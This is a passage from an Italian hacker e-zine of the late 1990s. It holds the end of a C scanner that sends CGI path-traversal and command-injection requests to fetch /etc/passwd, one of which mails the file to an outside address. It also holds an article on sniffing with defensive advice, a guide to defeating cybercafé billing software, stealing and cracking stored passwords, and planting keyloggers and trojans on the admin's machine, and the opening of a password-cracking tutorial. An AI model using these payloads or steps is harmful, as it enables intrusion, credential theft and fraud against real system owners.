stringhe[3]="GET /cgi-bin/view-source?../../../../etc/passwd\n";
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */
stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\n";
/* Campas allow you to get the passwd on NCSA server 1.2 */
stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n";
/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */
stringhe[6]="GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n";
stringhe[7]="GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\n";
/* With aglimpse is possible to mail the password file anywhere :) */
stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\@cyberdude.com\</etc/passwd;eval$CMD;echo\n";
/* An interesting variant for phf*/
stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20/etc/passwd\n";
stringhe[10]="GET /cgi-bin/php.cgi?/etc/passwd\n";
/* a new test-cgi but the bug is the same :) */
stringhe[11]="GET /cgi-bin/nph-test-cgi?*\n";
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
hp = gethostbyname (hosta);
for(i=0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));
while((X=read(sock,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
}
printf("\nScacco&Dark Schneider - Soft Project 98");
}
--------------------------cut here----------------------------------------
Ok gente, per ora e' tutto.... See ya on BFI n.4!!!!
DevilKiss & Dark Schneider, l'Oscuro Distruttore
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ NETái0S ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ SNiiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Spoofing e Sniffing sono minacce alla sicurezza che attaccano i livelli piu'
bassi delle architetture di rete che supportano la tecnologia internet.
Gli utenti non interagiscono con questi livelli, in genere non sono nemmeno a
conoscenza che questi esistano, ma senza una conoscenza di queste minacce e'
difficile creare una infrastruttura resistente agli attacchi. Sniffing e' un
attacco passivo alla sicurezza in cui una macchina riesce a leggere dei
pacchetti non effettivamente destinati a se stessa.
Il termine "Sniffing" deriva da "Sniff the ether" e' in inglese ed e' un gioco
di parole, specie se applicata ad una rete "Ether"net a causa dei due
significati della parola "ether".
Vabbe', ciancio alle bande ... Gli attacchi di tipo passivo sono quelli che non
modificano il normale flusso dei dati all'interno del collegamento. Spoofing
e' un attacco di tipo attivo in cui una macchina su di una rete si maschera
come una stazione differente.
Come un attacco attivo distorce il normale flusso dei dati e puo' comportare
l'inserimento dei dati all'interno di un collegamento tra due stazioni. Questo
mascheramento punta ad ingannare le altre macchine sulla rete al fine di
accettare l'impostore come originale sia per attirarlo a spedire informazioni
o per permettere al "ladro" di alterare i dati.
Il significato di "spoof" (imbroglio) non e' un gioco di parole come per
sniffing, ma piuttosto indica una frode, un metodo per prendere l'identita' di
un'altra "persona" all'interno del villaggio globale. Questa frode puo'
sembrare inoffensiva, ma tutto dipende da quanto confidenziali siano le
informazioni in transito sulla vostra rete!
Sniffing
Sniffing indica l'utilizzo di una interfaccia di rete per ricevere dati non
esplicitamente indirizzati alla stazione in cui e' installata tale scheda.
Molte macchine hanno questa peculiarita', una di queste e' il bridge. Un bridge
Token Ring, ad esempio, ha due interfaccie che normalmente ricevono tutti i
pacchetti in viaggio sulla rete.
Un altro dispositivo che incorpora lo sniffing e' il cosiddetto "Network
Analyzer"; questo software aiuta il manager di rete ad analizzare eventuali
problemi con il flusso dei dati.
I dispositivi di network analizing sono molto utili, nonostante il loro
utilizzo possa attirare l'attenzione di persone maliziose per modificare un
computer in una stazione spia.
I programmi di sniffing possono essere utilizzati per spiare password, leggere
E-Mail tra stazioni ed esaminare i record di tabelle client/server.
Sniffing : Come Viene Effettuato
In una rete che condivide il mezzo trasmissivo come Ethernet, tutte le
interfaccie di rete attaccate al segmento possono avere accesso a tutti i dati
in viaggio sul mezzo trasmissivo.
Il perche' di questo fatto sta DENTRO la tecnologia ethernet e vi rimando ad
eventuali articoli futuri per una trattazione piu' dettagliata dello standard
IEEE 802.3 (o Ethernet).
Ogni scheda ha un proprio indirizzo hardware (unico al mondo) ed un indirizzo
"broadcast" che corrisponde all'intero set di interfaccie che costituiscono la
rete.
Normalmente una scheda risponde ad un messaggio solo quando il pacchetto in
transito sulla rete porta in testa il proprio indirizzo o l'indirizzo
broadcast. Lo sniffer ha la capacita' di mettere la scheda in modalita'
"promiscua" e di copiare tutti i pacchetti in transito su di essa; in pratica
considera tutti i pacchetti come broadcast. Il fattore principale che
differenzia uno sniffer da un computer ordinario e' il software, questo e'
prelevabile facilmente dalla rete o su vari BBS.
Sniffer : dove trovarli.
- Esniff.c e' un semplice programma di 300 linee di codice che lavora con
sistemi SunOS 4.x.
Se eseguito come root questo cattura i primi 300 bytes di ogni frames di
tutte le connessioni TCP/IP.
- TCPDump 3.0.2 e' uno sniffer molto piu' complicato scritto da Van Jacobson.
La versione piu' recente e' prelevabile a ftp.ee.lbl.gov tramite FTP anonimo.
- EthDump e' uno sniffer che gira sotto DOS e lo si puo' prelevare facilmente
via FTP anonimo presso ftp.eu.germany.net.
Sniffing : Come Attacca La Sicurezza Del Sistema
La tecnica dello sniffing attacca tutto quell'insieme di informazioni che
normalmente vengono considerate strettamente private. In particolare, uno
sniffer puo' attaccare un sistema al fine di ottenere:
- Passwords
- Numeri di C/C
- Dati privati
- Informazioni di protocollo di basso livello
Sniffing Password
La perdita di privacy piu' comune legata al mondo dell'informatica, e' la
perdita di una password.
I dati custoditi da una password sono considerati al sicuro, ma spesso non e'
cosi'. Gli utenti (molto in teoria) prestano molta attenzione alla password
non scrivendola da nessuna parte, non dividendola con nessuno. (ovviamente
parliamo di ambienti ad alta sicurezza, non parlo del dummy che si affaccia
per la prima volta alla rete). Quando l'utente la digita, il sistema non ne
fa un echo allo schermo per assicurarsi che nessuno la legga o che qualche
esterno possa capire di quanti caratteri e' formata per tentare un eventuale
"brute force attack". Dopo tutta questa serie di protezioni il sistema manda
questa password al server per avere la certificazione dell'autenticita'
dell'utente. La cosa interessante e' che questa password, spesso trasmessa
carattere per carattere (pensiamo all'"rlogin" ...) viaggia in chiaro sul
mezzo trasmissivo!!
Gli utenti finali non si rendono conto che con un piccolo software possa venire
messa a repentaglio la sicurezza dei nostri dati.
Sniffing di numeri di C/C
La maggior parte degli utenti non si fida a trasmettere numeri di C/C e simili
attraverso rete.
Questa apprensione e' giustificata ed e' data in parte dalla poca cura che le
aziende hanno per le ricevute di acquisto elettroniche. Anche se Internet non
e' a prova di proiettile la maggior parte degli attacchi non viene
dall'esterno, ma bensi' dalla propria rete.
Nonostante cio', le transazioni piu' pericolose sono quelle che involvono il
movimento di soldi da e per conti correnti. Transazioni di questo tipo
implicano la trasmissione di dati molto importanti che, qualora intercettati,
potrebbero creare danni per svariati milioni, basti pensare che se l'hacker
riuscisse ad intercettare le informazioni che proteggono la nostra somma di
denaro, questi potrebbe muovere soldi verso il proprio conto corrente (magari
alle Bahamas) e sparire senza lasciare tracce per lungo tempo.
E chi lo ribecca piu'?
Sniffing di Informazioni Personali
La perdita di privacy e' comune anche nei movimenti di posta elettronica,
ma in genere viene eseguita raramente e ha il solo scopo di conoscere meglio
la vittima, le sue abitudini e le sue frequentazioni.
Sniffing di Informazioni di Protocollo di Basso Livello
Gli "information network protocol" trasmessi tra stazioni, contengono
l'indirizzo hardware delle interfaccie locali, l'indirizzo IP delle stazioni
remote, istruzioni di routing e numeri di sequenza assegnati ai frames delle
connessioni TCP. Il prendere possesso di queste informazioni potrebbe essere
utilizzato in malomodo da persone con lo scopo di attaccare il sistema
informativo. Maggiori informazioni verranno discusse in una futura parte
riguardante lo spoofing e che illustrera' come lo sniffing sia solo il
preludio per un attacco a tutti gli effetti.
Sniffing dei Pacchetti : Un Caso da Studiare.
Prendiamo in esame questa piccola storia. Supponiamo che, tutti gli utenti di
una universita' statunitense possano avere accesso ad alcuni terminali in
aule di studio. Non e' molto pratico collegare ogni terminale agli host ed
inoltre l'utente potrebbe avere la necessita' di utilizzare piu' di un host
remoto. Per ovviare a questo problema la Central Computing (nome dell'aula di
studio in cui erano posizionati i terminali) inseri' uno switch tra terminali
ed host. I terminali erano tutti connessi allo switch in modo che ogni utente
potesse avere un'ampia varieta' di scelta. Quando un utente richiede la
connessione ad un host, lo switch crea una connessione fisica tra terminale
e host. Fin qui tutto chiaro.
Lo switch era equipaggiato con migliaia di porte e doveva essere teoricamente
in grado di connettere ogni coppia di porte. In pratica si avevano alcune
porte connesse a terminali ed altre connesse ad host.
Per rendere il sistema maggiormente flessibile, le attrezzature del Central
Computing vennero sostituite con altre piu' recenti che utilizzano un set di
terminali Ethernet (DEC 550) con porte connesse allo switch, differentemente
dal sistema precedente che utilizzava un numero fisso di porte connesse ad ogni
host. Ogni ufficio e' dotato di cavi che corrono dal soffitto a delle spine
alloggiate nel muro (tipo il doppino telefonico americano), queste a loro volta
sono connesse ad un multiplexer che li connette allo switch. Il multiplexer ha
lo scopo di limitare il numero di cavi da stendere per raggiungere le stazioni.
Con questa configurazione, lo sniffing non e' assolutamente un problema,
nessuna sala condivide alcun mezzo trasmissivo.
Gli switch mediano le iterazioni tra i computer isolando il flusso di dati.
Al posto di utilizzare singoli terminali, gli utenti possono usare computers
posizionati sulla scrivania in aggiunta a quelli forniti dalla central
computing. Lo switch tratta questi computers come semplici terminali. Durante
il corso del tempo, pero', il numero di utenti crebbe notevolmente e lo switch
divenne inadeguato.
Per sostituire lo switch ed informatizzare l'intero edificio, venne installato
un Hub Ethernet alle pendici dello stabile e questo venne collegato ai computer
centrali tramite cavo 10BaseFB (10 Mbit/S - FB = Fiber Backbone). Altri Hub
vennero installati nello sgabuzzino dei collegamenti di ogni piano.
I cavi utilizzati per collegare le stazioni al multiplexer, ora vengono
utilizzate per collegare le stazioni all'Hub.
Nonostante lo schema di collegamento sia molto simile al precedente, il percorso
compiuto dai dati non e' assolutamente uguale. Utilizzando questo schema
qualsiasi ufficio puo' ascoltare le comunicazioni provenienti da qualsiasi
computer nell'edificio semplicemente con l'uso di uno sniffer e cio' potrebbe
comportare seri disagi (pensando spesso alla concorrenza che esiste tra gruppi
di lavoro concorrenti - anche all'interno della stessa azienda). Questo puo'
avvenire perche' tutte le persone di un edificio condividono un set di Hubs e
quindi un ipotetico messaggio viene mandato in "broadcast" attraverso tutto
l'edificio prima di essere prelevato dal vero destinatario. (La comunicazione
non e' effettivamente in broadcast. Spesso pero' un messaggio prima di essere
prelevato dall'effettivo proprietario e' in grado di compiere il giro
dell'intera rete, quindi di raggiungere tutte le interfaccie).
Questo studio di rete fallisce in maniera miserabile per cio' che riguarda la
sicurezza.
Qualsiasi computer e' in grado di ascoltare il traffico di tutto l'edificio.
Il prossimo paragrafo illustra come prevenire tali situazioni.
Sniffing : Come Prevenirlo
Per essere in grado di prevenire lo sniffing, si deve prima capire il concetto
di trust (fiducia) tra computer.
Segmentazione della rete
Un segmento di rete consiste in un set di macchine che condividono lo stesso
mezzo trasmissivo e che vedono passare su di esso gli stessi dati. I cavi ad
entrambi gli estremi di un repeater sono ovviamente nello stesso segmento di
rete poiche' il repeater ha lo scopo di copiare bit a bit da un cavo ad un
altro, non seleziona nulla, non si preoccupa cioe' del contenuto delle
informazioni, lavora a livello MAC. Un Hub ordinario e' fondamentalmente
un repeater multiporta; tutti i cavi attaccati ad esso sono parte dello stesso
segmento.
Nei dispositivi a piu' alto livello, accade qualcosa di differente. I cavi su
ai lati di un bridge non fanno parte dello stesso segmento di rete, questo
perche' il bridge compie una selezione sui pacchetti in transito. Avviene cio'
che tecnicamente prende il nome di "store and foward". Alcuni pacchetti passano
attraverso il bridge, ma non tutti.
I due segmenti sono comunque parte della stessa rete fisica, ma il set di dati
in transito ai due capi e' profondamente diverso. Come i bridge, anche gli
switch hanno la stessa funzione.
Il loro inserimento all'interno della rete limita il rischio di sniffing.
L'inserimento di bridges e swtiches e' comunque motivato da fattori differenti
dalla sicurezza. Questi dispositivi aumentano le performance del sistema
riducendo le dimensioni delle collision window. Quando un tecnico pianifica
una rete deve tenere conto anche di questi fattori in base al volume di
traffico che prevede che circolera' nella sua rete.
Un segmento e' un subset di macchine nella stessa subnet.
I Router vengono utilizzati per partizionare la rete in subnets, quindi fanno
anche da frontiere per la rete. La segmentazione e' il primo passo da compiere
quando si vuole prevenire lo sniffing. L'ideale sarebbe utilizzare switches
al posto di hubs per connettere le stazioni individualmente su di una rete
con cavi 10BaseT. Questo, pero', non incontra gli ideali di praticita' ed
economicita' e quindi spesso non viene nemmeno preso in considerazione.
Capire il Concetto di "trust"
Tipicamente, una persona pensa al trust (fiducia) applicandolo al livello di
applicazione tra file servers e clients. Ovviamente il Server si fida dei
Client per passargli i dati.
Questa nozione di fiducia si puo' estendere anche ai dispositivi di livello
inferiore.
Per esempio, al livello di rete, i routers hanno la fiducia di trasmettere ed
instradare i messaggi per la rete. Gli host si fidano dei routers e i routers
sono macchine fidate.
Se si estende ulteriormente il concetto al livello di data-link si raggiunge
lo sniffing.
Una macchina che deve mandare un messaggio considerato "importante" ad una
stazione tramite un segmento, deve essere sicura che quel segmento sia fidato;
deve fidarsi quindi di tutte le macchine su quel tratto di rete.
Per far si' che le stazioni su di un segmento siano degne di fiducia, le
macchine ed il collegamento tra loro devono godere di sicurezza fisica
sufficiente (porte chiuse a chiave, guardie etc...) per assicurarsi che una
persona qualsiasi non attacchi uno sniffer su tale segmento. (non spaventatevi
e non accusatemi di fanatismo. E' ovvio che le situazioni di studio che
presento sono casi estremi)
La minaccia dello sniffing viene da qualcuno che installa del software su di
una macchina normalmente in rete, qualcuno che porta uno sniffer in una stanza,
collegandolo in rete, magari illegalmente, senza il permesso del system
administrator. Per tenere conto di queste possibilita', si deve anche tenere
conto del grado di sicurezza che offre il Sistema Operativo oltre che al grado
di fiducia che si concede alla gente che frequenta le stanze in cui passa un
tratto di rete considerato "fidato".
Barriere Hardware
Per creare segmenti fidati si devono installare barriere hardware tra tratti di
rete sicuri e tratti di rete insicuri. Tutte le macchine su di un segmento si
devono fidare delle altre in maniera reciproca, "mutuale" (per usare un termine
che piace tanto agli americani).
Un esempio potrebbe essere un segmento che non esce dalla sala macchine dei
computer destinati agli studenti. Finche' si parla di sale computer destinate a
studenti il discorso della sicurezza non e' molto rilevante. Diventa pero' piu'
importante e meno chiaro dove tracciare la linea tra sicurezza ed insicurezza
nell'ambito lavorativo. La base del trust tra le macchine e' data dalla fiducia
che hanno gli impiegati tra di loro.
Un collegamento deve avvenire in modo che due macchine non fidate siano sullo
stesso segmento e in modo da non creare interferenza con stazioni fidate.
Segmenti Utente Sicuri
La sicurezza e' una cosa relativa, e' risaputo. In alcuni casi, in nome della
sicurezza, potrebbe essere appropriato togliere all'utente l'uso della macchina,
questo perche' non si ha fiducia in lui dal punto di vista tecnico. Comunque
sia, per togliere all'utente l'uso della stazione e' sufficiente sostituire la
sua workstation con un terminale stupido.
Questo potrebbe sembrare scoraggiante, demoralizzante, ma pensiamo a come i
terminali X-Windows forniscono all'utente tutte le caratteristiche e
funzionalita' di una stazione per cio' che riguarda i software Unix. (pensiamo
anche che queste stazioni non necessitano praticamente nemmeno di
manutenzione).
Se l'utente finale non e' fidato o se il software che gira sulla macchina puo'
essere alterato a causa della locazione fisica della stazione, allora la
macchina non deve essere un Personal Computer. Per il solo scopo nozionistico:
per personal computer si intende una stazione che esegue sistemi operativi
come Windows 3.11, Windows 95 o DOS. Questi S.O. mancano della nozione di
utente privilegiato e permettono a qualsiasi persona di eseguire del software
senza avere interferenze dal S.O. Quindi qualsiasi utente sarebbe in grado
di eseguire uno sniffer da tali stazioni. I PC sono sempre stati famosi anche
perche' davano la possibilita' all'utente finale di personalizzare il proprio
"ambiente di lavoro".
Nessun operatore di sistema poteva imporre limiti all'utente riguardo cio' che
si poteva e non si poteva fare. In ambiti ad alta sicurezza, queste macchine
vengono addirittura installate senza unita locale di backup (HDD) per
prevenire l'installazione di software non autorizzati. Una stazione che
esegue WindowsNT, Unix o VMS provvede un grado extra di sicurezza perche'
questi S.O. includono il cosiddetto "utente privilegiato" ("administrator" in
NT, "root" in Unix e "system" in VMS) che deve conoscere una password
particolare. Questi sistemi operativi permettono l'accesso a certe funzioni
hardware solo al superuser. Se l'utente finale accede ad una stazione,
pero' questa non ha privilegi da superuser, allora questa stazione puo'
essere fidata molto piu' dell'utente.
Certo, e' comunque possibile trovare in giro per la "rete" programmi
alternativi per il boot e riuscire ad ottenere privilegi root senza conoscere
la password. Comunque sia, i sistemi considerati "sicuri" limitano all'utente
la possibilita' di installare del software.
Solitamente, l'unico software che l'utente puo' installare e' il sistema
operativo.
Alex Kuligk
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ DiVERTiRSi AL CYáERCAE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Allora... questa piccola guida nasce dopo una seratella ad un cafe in compagnia
di amici ... ed ha come scopo quello di farvi divertire in questi splendidi
locali, e senza pericolo per il vostro portafoglio... ;) e serve sopratutto ad
aiutare chi si collega spesso da questi posti e non vuole pagare senza avere
conoscenze tecniche precise :).
Prima di tutto dobbiamo analizzare l'organizzazione del locale stesso, la
locazione delle macchine da utilizzare per divertirsi e sopratutto lo status
dell'admin.
Quest'ultima cosa la potete vedere facilmente non appena entrati nel cafe:
prima di tutto sbirciate sul bancone del tipo per individuare il sistema
operativo (moltissime volte si trattera' di un win95 o nt, pochissime altre di
sistemi unix).... molto probabilmente se ha un sistema win, l'admin non e' una
grande cima in materia :>. Dopo questo date uno sguardo all'ambiente
circostante: ottime sono le macchine in fondo ai corridoi... insomma,
trovatevene una sufficientemente lontano dal bancone principale, e sopratutto
che vi permetta di avere gli occhi verso l'amico admin ;). Una volta seduti al
computer potrete notare una delle cose che piu' influiranno sulla vostra
sessione di smanettamento, ovvero il sistema di protezione dei vari client.
I sistemi piu' diffusi sono (sotto sistemi windows) dei programmucoli che
funzionano con semplicissime password (oppure nome utente senza password, in
certi casi), che permettono l'utilizzo di determinati .exe in un arco di tempo
prestabilito: si va
dai 15 ai 60 minuti.O meglio ancora, potete trovare dei programmi veramente cazzoni che si
limitano a permettere di utilizzare win normalissimamente in base a quanto
avete pagato :P.
Quindi, dopo che avete acquisito queste vitali informazioni, potete dare inizio
alle danze.
Prima di tutto, se il sistema di protezione permette di eseguire la combo
alt+tab per passare ad altri processi, potete benissimo divertirvi con
internet anche quando il vostro tempo e' finito e il sistema viene lockato a
meno che non si sborsi un po' di soldi ;). Facciamo conto che voi abbiate
prontamente aperto un browser e l'immancabile mirc nella vostra sessione, il
sistema si locka... salta su la schermatina del programmino che vi dice "Ehi
tipo, paga o sloggia"... e voi lo ignorate con un semplice alt+tab. Il
suddetto programma, se poi rompe con la sua presenta poppandovi una
finestrella che ha priorita' maggiore rispetto alle altre, e quindi vi appare
continuamente in foreground, non fate altro che la combo ctrl+alt+canc e
segate via il processo :)) ecco il nostro amico sistemato. Mi raccomando, non
dimenticatevi di lanciare nuovamente il programmucolo altrimenti l'admin se ne
accorgerebbe... anche se e' il piu' fagiano dei fagiani.
Queste qui sono le protezioni piu' cazzone :)) sicuramente ... ma di solito
questo tipo di programmi cosi' facilmente segabili e' utilizzato da almeno il
60% di cybercafe.
Adesso andiamo sulle cose un po' piu' "difficili" ..... per modo di dire :P.
Bruttine sono le protezioni che permettono solamente l'utilizzo di certi exe
(ad esempio, vi viene presentato un menu e potete lanciare solamente i
programmi li' presenti). Non ci sono assolutamente problemi ... infatti, voi
aprite il browser, che sicuramente sara' tra i programmi selezionabili, e non
fate altro che inserire, a mo' di dos, il drive e la directory che volete
esplorare ... ed avrete accesso all'intero sistema :)) Se poi si tratta di
Internet Exploder del nostro amico Billy, addirittura potrete lanciare
tranquillamente programmi proprio dal browser ... come se fosse un "Gestione
Risorse" o come cazzo si chiama ;). Un altro metodo carino e' quello di
associare come viewer esterno del browser il programma \windows\explorer.exe
... e ce ne sono tantissimi altri di questi trucchetti attuabili semplicemente
con il browser ed un po' di fantasia.
Un altro piccolo trucchetto sta nell'utilizzare programmi tipo mirc, eudora o
cavoli vari che prevedono l'apertura di un browser predefinito in certe
situazioni .... :)) bastera' cambiare il nome del file da eseguire et voila'
(esempio, potete aprire un browser dalla finestra about del mirc, premendo sul
tasto che permette di visitare la homepage del programma).
Quindi passiamo al tipo di protezione che piu' rompe il cazzo ... e che per
ora ho visto solamente nel netcafe dove sono andato oggi: un programma
chiamato NetFun Time, che permette non soltando l'esecuzione di certi
programmi, ma in piu' blocca completamente windows facendo eseguire i programmi
all'interno di quella che possiamo definire "area protetta", lockando
combinazioni di tasti etc etc. Allora cosa possiamo fare? Semplice... ci
procuriamo le password :). Solitamente i cafe hanno dei sistemi windows95, che
come ben saprete, non hanno alcun sistema attivo di permessi in
lettura-scrittura-esecuzione in quanto ai file... cosa c'e' di piu' semplice
che localizzare queste password e utilizzare i terminali totalmente a sbafo ?
:)
Alcune volte, aprendo la gestione risorse di win, vi renderete conto che alcune
unita' di rete sono gia' collegate, e se questa situazione e' vera, potete
avere cosi' tanto culo da essere collegati con l'hd del server principale...
lo so, queste cose sono cosi' tristi che fanno piangere... ma ormai la gente
usa solo il computer pe' fa' i gio'hini ganzi ;)
Altrimenti... potete benissimo accedere alle altre "unita' di rete" attraverso
il netbios...
Ma mi raccomando: attenzione! Tutto dipende dall'admin! Spero poi che abbiate
eseguito tutto cio' consigliato precedentemente nella certezza di non essere
visti :)))
Comunque, per vedere lo status del suddetto netbios eseguite questo comando dal
prompt del dos...
>nbtstat -a host_della_macchina
Altrimenti, nel caso di ip numerico, utilizzate -A
Questo vi dara' la possibilita' di controllare se il server e' accessibile
via netbios... e potrete mountare la partizione utilizzando la gestione
risorse (vi rimando a bfi1... c'e' un articolo a riguardo). Una volta mountata
la partizione da attaccare, allora potete veramente divertirvi tanto... di
solito le password di questi programmi sono semplicissimi file in formato
testo, quindi apribili con qualsiasi editor o viewer, e si trovano nella
directory del programma di sicurezza. Di solito provate a bazzicare anche
nella dir \windows, dove trovate tra gli .ini molta roba interessante... :))
Le vie del divertimento sono infinite.. basta avere un po' di fantasia! Io
consiglio, in primis, di dare un occhio alla mail dell'admin, lanciando un
qualsivoglia client remotamente... puo' essere divertente :)). Mi raccomando,
non cancellate nulla pero'... altrimenti va contro l'etica dell'autore :>. Le
cose da cercare su una macchina del genere, prima di tutto, sono i file di
configurazione delle connessioni ppp, o perlomeno le loro password (che
risiedono in \windows con l'estensione *.pwl), che sono crackabili con il
programma glide... che si trova ovunque.. armatevi di altavista e via :).
Infatti, molti cafe hanno una connessione isdn .. e non sarebbe affatto male
prendersi un account del genere hehehe. Inoltre, cose da cercare per
divertirsi un po' sono i documenti riservati, modificabili a proprio
piacimento... io ad esempio ho trovato i volantini pronti da stampare per
pubblicizzare il cafe... un ritocchino e via :>.
Ritornando sul discorso mail, potete provare a beccare l'eudora.ini.. che di
solito contiene le password di mail, che sono crackabili pure quelle... io
l'ho fatto con le versioni piu' vecchiotte, non so se nelle ultime release
queste password siano ancora crackabili.
Se infine ne avete la possibilita', potete benissimo dare una sbirciata nel
file di registro utilizzando il programma \windows\regedit.exe... alcune
password di solito si trovano li', e li' potete trovarci pure il file di
configurazione del sistema di protezione.
Ve l'ho detto, ci sono migliaia di metodi per divertirsi :)).
Adesso passiamo alla parte un po' piu' cattiva... ovvero: inserimento di
"backdoor", trojan ed altre cosucce nel sistema dell'admin ... huhuhu.
Una volta preso l'accesso alla macchina (che e' semplicissimo, in quanto il
trucco del netbios funziona quasi sempre), come non potete lasciare qualche
ricordino al vostro caro admin che chiede 15k lire per ora di connessione ?
:>. Naturalmente, vi ricordo che se combinate guai e vi beccano sono solo
cazzi vostri... bisogna sapere sempre cio' che si fa e come ovviare ai problemi
che si possono presentare...
Comunque: la cosa che consiglio di fare e' lasciare la propria firma da qualche
parte, magari indicando precisamente il vostro nome, il numero di telefono ed
aggiungendo qualche frase che faccia molto 31337, da bravi lameroni :>.
Scherzi a parte, una bella serie di echo nell'autoexec.bat della vittima mi
sembrano il minimo... magari seguiti da un pause per costringere il tipo a
doversi leggere la roba... Naturalmente, potete abusare a vostro piacimento di
questo file ... facendo fare al sistema tutto quello che volete :). Purtroppo,
windows fa veramete schifo al cazzo, e non e' per nulla flessibile, quindi
scordatevi finezze unixistiche...
Pero' vi consiglio alcune cosette molto carine che potete combinare. Prima di
tutto localizzate il client irc della vittima, ed editate i vari file
contenenti script vari per automatizzazione di certe operazioni e controllo di
condizioni del client. Vi consiglio, poiche' se il sistema e' windows sara'
usato al 99% mirc, di cambiare le impostazioni del remote.ini ... e da far
lanciare qualsiasi cosa voi vogliate quando una certa parola viene scritta
oppure ricevuta...
La stessa cosa la potete fare con i popups: nel mentre viene oppata una
persona, viene fatto girare un keylogger in background che logghera' in un
file tutto cio' che si mette in form che ad esempio chiedono una password
:>.... ve lo ripeto, sbizzarritevi...
Le cose piu' cattive che poi si possono fare poi, prevedono l'inserimento di
trojan distruttivi di qualsiasi tipo.... ma mi raccomando non lo fate... a meno
che l'admin non sia un grandissimo figlio di puttana che si merita questo
trattamento :>
Io l'ho fatto ad un tipo perche' aveva nel proprio hd delle immagini porno
piuttosto schifose... stile pedofilo... :).
Quindi vi saluto, sperando che questi piccolissimi e veloci appunti vi siano
di aiuto nel caso vi ritrovaste in un netcafe... o che ne siate uno dei tanti
dipendenti che si collegano da quei postacci li' :>
[Goku]
Greets: |-ru5ty-, |_NaThAn|, e tutti i guaglioni del S0ftProject :>
EOF
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ PASSW0RD CRACKiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Cosa vi occorre:
un computer potente (trattero' solo i prog per Win95, visto che e'
l'OS piu' diffuso)
qualche piccolo prog (dopo spieghero' meglio)
tanto tempo da cacciare nel cesso
una gran bella dose di culo :o)
Dopo aver letto con molta attenzione bfi1 & 2, dopo avere nominato decine di
volte il nostro caro amato /etc/passwd, a qualcuno dei "novelli" sara' balenata
una domanda in testa: "ma che cazzo e' un passwd?" E' un nostro caro amico,
fidatevi :o)))
Il passwd non e' altro che il file in cui vengono registrati i dati piu'
importanti di ogni utente del sistema: login, password, homedir, shell, e
qualcos'altro ancora. La cosa bella dei sistemi Unix e Unix-like e' che in un
unico file (il passwd, per l'appunto) vengono registrate tutte le login e le
pass degli utenti, a differenza di quel porco di WinNT che sparpaglia queste
preziosissime infos su tutto l'HD :o(
Il bello del passwd e' che e' visibile (anche se non modificabile) da ogni
utente, quindi non vi costa nessuno sforzo protarvene una copia a casa e
giocherellarci un po'.
Possibilmente non fate i pirloni, evitate di lanciare cose del tipo:
"vi /etc/passwd" perche' il root con un semplice ps vi becca subito....
mandatevelo via e-mail, oppure lanciate solo "vi" e poi aprite il passwd (di
questi trucchetti ne hanno gia' parlato in tanti su bfi1 e 2, quindi andateveli
a rileggere :).
Come e' fatto il passwd?
E' composto da un certo numero di righe, tutte uguali tra di loro, ognuna
dedicata ad un singolo utente. Ogni riga deriva dall'unione di 7 campi,
ciascuno separato da un ":".
Ecco un esempio:
vitello:IC5uLFUM4cYzU:542:100:Vitello Giovanni:/utenti/vitello:/bin/bash
dove i campi sono:
username:password:UID:GID:nome utente:home dir:shell
"Figo! allora basta che mi loggo come vitello, digito IC5uLFUM4cYzU come pass
e sono dentro! Facilissimo!"... e no, qui vengono i dolori! la password e'
